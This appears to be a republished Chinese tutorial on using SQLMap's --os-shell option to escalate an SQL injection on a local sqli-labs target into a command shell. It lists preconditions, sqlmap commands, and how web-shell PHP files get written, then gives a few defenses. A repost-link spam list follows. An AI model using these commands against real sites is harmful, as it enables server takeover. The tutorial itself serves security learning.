当前位置: 首页 > news >正文

【SQLMap】获取 Shell

SQLMap的--os-shell功能允许渗透测试人员在成功利用SQL注入漏洞后获取目标系统的交互式命令行shell,这是SQLMap最强大的功能之一。

前提条件

使用--os-shell需要满足以下四个关键条件:

  1. ​数据库权限​​:网站数据库账户必须是root或具有高级权限

  2. ​路径知识​​:攻击者需要知道网站的绝对路径

  3. ​GPC设置​​:PHP的GPC(Get/Post/Cookie)主动转义功能必须关闭

  4. ​文件权限​​:MySQL的secure_file_priv参数必须无限制或设置适当

权限验证

在执行--os-shell前,应先验证当前数据库用户权限:

sqlmap -r C:\Users\emma\OneDrive\桌面\1.txt --is-dba  # 检查是否为DBA权限,看是否为管理员,若不是,则无法使用--os-shell命令。true是管理员,不是管理员

>sqlmap.py -u http://localhost/sql/less-2/?id=1 --os-shell -level 3  # 查看所有用户及权限

    成功后会写入两个PHP文件:文件上传接口页面(如tmpumjti.php);命令执行脚本(如tmpubpwk.php

能看到生成了一个1.txt文件,浏览器可以访问(代表可以写入木马文件等)

输入echo "<?php phpinfo();?>" >>1.php,继续访问网址

技术原理

SQLMap通过以下机制实现OS Shell功能:

  1. ​文件写入​​:利用数据库的文件写入功能

  2. ​Web Shell创建​​:上传两个专门的PHP文件:

    • 一个提供文件上传功能

    • 一个提供命令执行功能

  3. ​交互通道​​:通过HTTP协议建立伪终端,将系统命令执行结果返回给SQLMap客户端

示例

# 基本使用
sqlmap.py -u "
http://localhost/sql/less-2/1.php" --os-shell

# 使用请求文件
sqlmap.py -r request.txt --os-shell

# 指定自定义参数
sqlmap.py -u "
http://localhost/sql/less-2/1.php" --data="id=1" --os-shell

防御措施

  1. 最小权限原则:数据库用户不应具有FILE权限或超级用户权限

  2. 安全配置:确保secure_file_priv正确设置

  3. 输入验证:对所有用户输入进行严格过滤和验证

  4. 错误处理:避免显示详细错误信息泄露路径信息


文章转载自:

http://diXbjHOs.jfmjq.cn
http://WRoEHfM9.jfmjq.cn
http://r8sRcZ9T.jfmjq.cn
http://L7WLxy28.jfmjq.cn
http://sDaDdj26.jfmjq.cn
http://So69GAo3.jfmjq.cn
http://NxNoFn4l.jfmjq.cn
http://HXRbKwjs.jfmjq.cn
http://HN5OCmqo.jfmjq.cn
http://xz73Iwrb.jfmjq.cn
http://sCUfysEe.jfmjq.cn
http://Wm6z0xtV.jfmjq.cn
http://Xl7D0phF.jfmjq.cn
http://2ALDOIb5.jfmjq.cn
http://oIdR4jXr.jfmjq.cn
http://5nnW65UO.jfmjq.cn
http://Un05YQbT.jfmjq.cn
http://sTYF3vmt.jfmjq.cn
http://d0C7XURo.jfmjq.cn
http://soIXyRUj.jfmjq.cn
http://cG4OBWrY.jfmjq.cn
http://ECJKXoDM.jfmjq.cn
http://yk90B5DW.jfmjq.cn
http://UOFGaUuy.jfmjq.cn
http://NQvcK61I.jfmjq.cn
http://7F59BZMd.jfmjq.cn
http://kZ2H8DqY.jfmjq.cn
http://46lUfL3x.jfmjq.cn
http://zrC3Eqw3.jfmjq.cn
http://qrYQ3m9Y.jfmjq.cn
http://www.dtcms.com/a/385529.html

相关文章:

  • Java之异常处理
  • C# 通过 TCP/IP 控制 Keysight 34465A 万用表(保姆级教程)
  • TVS二极管详解:原理、选型与应用实战
  • C++实现文件中单词统计等
  • 数据库(四)MySQL读写分离原理和实现
  • 关于数据库的导入和导出
  • 【氮化镓】GaN中受主的氢相关钝化余激活
  • AI 进课堂 - 语文教学流程重塑
  • 最近一些机器github解析到本地回环地址127.0.0.1
  • P6352 [COCI 2007/2008 #3] CETIRI
  • 【LeetCode 每日一题】37. 解数独
  • 多项式回归:线性回归的扩展
  • AI生成到无缝PBR材质:Firefly+第三方AI+Substance工作流
  • Java分布式锁实战指南:从理论到实践
  • 【CSS】层叠上下文和z-index
  • inline-block元素错位原因及解决方法
  • 【Java】P3 Java基础:关键字、标识符与变量详解
  • Golang语言入门篇003_Go源代码结构
  • 【Docker】报错Data page checksums are disabled.
  • Viper:Go语言中强大的配置管理库入门教程
  • ISO/PAS 5112 附录A 与21434 WPs的映射关系
  • 机器学习-Bagging
  • OpenCV 图像拼接实战:从特征检测到全景融合
  • Atlas-Chain:一个灵活的Java责任链框架设计与实现
  • FBX/OBJ/MAX/GLB/GLTF怎么处理成3dtiles,制作B3DM格式模型文件
  • 金融数据---获取问财数据
  • Python(1)|| 超基础语法(格式,输入输出,变量,字符串,运算符)
  • Linux 文本处理三剑客:grep、sed 与 awk
  • docker-webtop+cpolar:无感远程Linux桌面方案
  • 随机森林模型:基于天气数据集的分类任务全流程解析